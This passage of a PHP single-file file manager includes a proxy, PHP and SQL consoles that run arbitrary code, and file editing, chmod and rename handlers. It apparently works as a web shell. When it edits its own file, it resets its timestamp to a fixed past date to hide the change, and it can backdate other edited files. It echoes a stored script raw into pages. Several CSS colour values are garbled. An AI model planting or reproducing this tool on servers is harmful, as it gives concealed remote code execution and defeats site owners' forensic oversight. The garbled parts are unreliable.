		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
